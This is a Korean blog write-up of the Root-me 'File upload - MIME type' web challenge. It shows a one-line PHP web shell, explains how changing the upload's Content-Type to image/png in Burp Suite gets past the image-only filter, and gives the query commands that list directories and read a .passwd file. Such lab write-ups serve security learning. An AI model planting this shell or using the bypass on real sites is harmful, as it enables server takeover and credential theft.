-
<Root-me> File upload - MIME typeWargame/Root-me = Web - Server 2022. 1. 6. 23:45
"upload"를 통해 사진을 업로드할 수 있다.
파일 확장자가 GIF, JPEG, PNG만 업로드할 수 있다.
문제 설명을 살펴보면
php 파일을 업로드하여 ".passwd" 파일 안의 비밀번호를 탈취하라고 한다.
<?php system($_GET[cmd]); ?>
위의 코드를 파일명 "test.php"로 하여 업로드해보면
파일 형식이 잘못되었다고 한다.
Burp Suite를 사용하여 "test.php" 파일을 업로드하면
요청 헤더 body에 파일의 Content-Type을 확인할 수 있다.
"application/octet-stream"을 png 파일로 속이기 위해 "image/png"로 변경시켜 Forward하면
"test.php" 파일을 업로드할 수 있다.
"test.php"를 누르면
빈 명령을 실행할 수 없다고 한다.
업로드한 php 파일을 살펴보면 'cmd'를 GET Method로 전달받는다.
따라서, "?cmd=ls -al"을 입력하면
현재 경로에 위치한 파일을 볼 수 있다.
"?cmd=ls -al ../../../"을 입력하면
".passwd" 파일을 찾을 수 있다.
"?cmd=cat ../../../.passwd"를 입력하면
비밀번호를 획득할 수 있다.
'Wargame > Root-me = Web - Server' 카테고리의 다른 글
<Root-me> JSON Web Token(JWT) - Introduction (0) 2022.01.08 <Root-me> Weak password (0) 2022.01.07 <Root-me> CRLF (0) 2022.01.06 <Root-me> Backup file (0) 2022.01.05 <Root-me> HTTP - Verb tampering (0) 2022.01.05